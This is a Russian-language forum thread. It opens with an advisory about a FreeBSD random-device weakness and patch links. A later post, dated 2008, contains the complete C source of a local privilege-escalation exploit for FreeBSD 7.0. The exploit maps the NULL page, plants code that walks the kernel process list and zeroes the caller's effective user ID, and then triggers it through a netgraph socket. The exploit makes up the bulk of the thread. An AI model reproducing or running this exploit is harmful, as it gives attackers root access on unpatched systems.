Уязвимость в модуле sys_dev_random в FreeBSD
FreeBSD 4.x
FreeBSD 5.x
FreeBSD 6.x
Опасность: Низкая
Наличие эксплоита: Нет
Описание:
Уязвимость позволяет удаленному пользователю получить доступ к важным данным на системе.
Уязвимость существует из-за ошибки в модуле sys_dev_random при отправке случайных данных. Злоумышленник может определить фрагменты ранее сгенерированных случайных данных и взломать криптографический алгоритм, использующий random или urandom устройство.
URL производителя: www.freebsd.org
Решение: Установите исправление с сайта производителя.
Исправление к FreeBSD 5.5, 6.1 и 6.2:
_http://security.FreeBSD.org/patches/SA-07:09/random.patch
_http://security.FreeBSD.org/patches/SA-07:...andom.patch.asc
Друзья: Всё для вебмастера | [ Реклама на форуме ] |
0
FreeBSD
Автор
$iD
, 10 Dec 2007 15:55
#1
Отправлено 10 December 2007 - 15:55
#2
Отправлено 26 December 2008 - 19:47
FreeBSD 7.0 Protosw Local Privilege Escalation Exploit
Цель: FreeBSD 7.0
Воздействие: Повышение привилегий
Цель: FreeBSD 7.0
Воздействие: Повышение привилегий
/* * This is a quick and very dirty exploit for the FreeBSD protosw vulnerability * defined here: * ]]>[url="http://forum.prologic.su/go.php?http://url=http://security.freebsd.org/advisories/FreeBSD-SA-08:13.protosw.asc"]http://security.free...rotosw.asc[/url]]]> * * This will overwrite your credential structure in the kernel. This will * affect more than just the exploit's process, which is why this doesn't * spawn a shell. When the exploit has finished, your login shell should * have euid=0. * * Enjoy, and happy holidays! * - Don "north" Bailey (don.bailey@gmail.com) 12/25/2008 */ #include <sys/mman.h> #include <sys/time.h> #include <sys/stat.h> #include <sys/proc.h> #include <sys/types.h> #include <sys/param.h> #include <sys/socket.h> #include <netgraph/ng_socket.h> #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <errno.h> #define PAGES 1 #define PATTERN1 0x8f8f8f8f #define PATTERN2 0x6e6e6e6e typedef unsigned long ulong; typedef unsigned char uchar; int x(void) { struct proc * p = (struct proc * )PATTERN1; uint * i; while(1) { if(p->p_pid == PATTERN2) { i = (uint * )p->p_ucred; *++i = 0; break; } p = p->p_list.le_next; } return 1; } int main(int argc, char * argv[]) { ulong addr; uchar * c; uchar * d; uint * i; void * v; int pid; int s; if(argc != 2) { fprintf(stderr, "usage: ./x <allproc>\n"); return 1; } addr = strtoul(argv[1], 0, 0); v = mmap( NULL, (PAGES*PAGE_SIZE), PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANON|MAP_FIXED, -1, 0); if(v == MAP_FAILED) { perror("mmap"); return 0; } c = v; d = (uchar * )x; while(1) { *c = *d; if(*d == 0xc3) { break; } d++; c++; } *c++ = 0xc3; c = v; while(1) { if(*(long * )c == PATTERN1) { *(c + 0) = addr >> 0; *(c + 1) = addr >> 8; *(c + 2) = addr >> 16; *(c + 3) = addr >> 24; break; } c++; } pid = getpid(); while(1) { if(*(long * )c == PATTERN2) { *(c + 0) = pid >> 0; *(c + 1) = pid >> 8; *(c + 2) = pid >> 16; *(c + 3) = pid >> 24; break; } c++; } s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA); if(s < 0) { perror("socket"); return 1; } shutdown(s, SHUT_RDWR); return 0; }
Ссылки из под хайдов не выдаю!
Количество пользователей, читающих эту тему: 0
0 пользователей, 0 гостей, 0 анонимных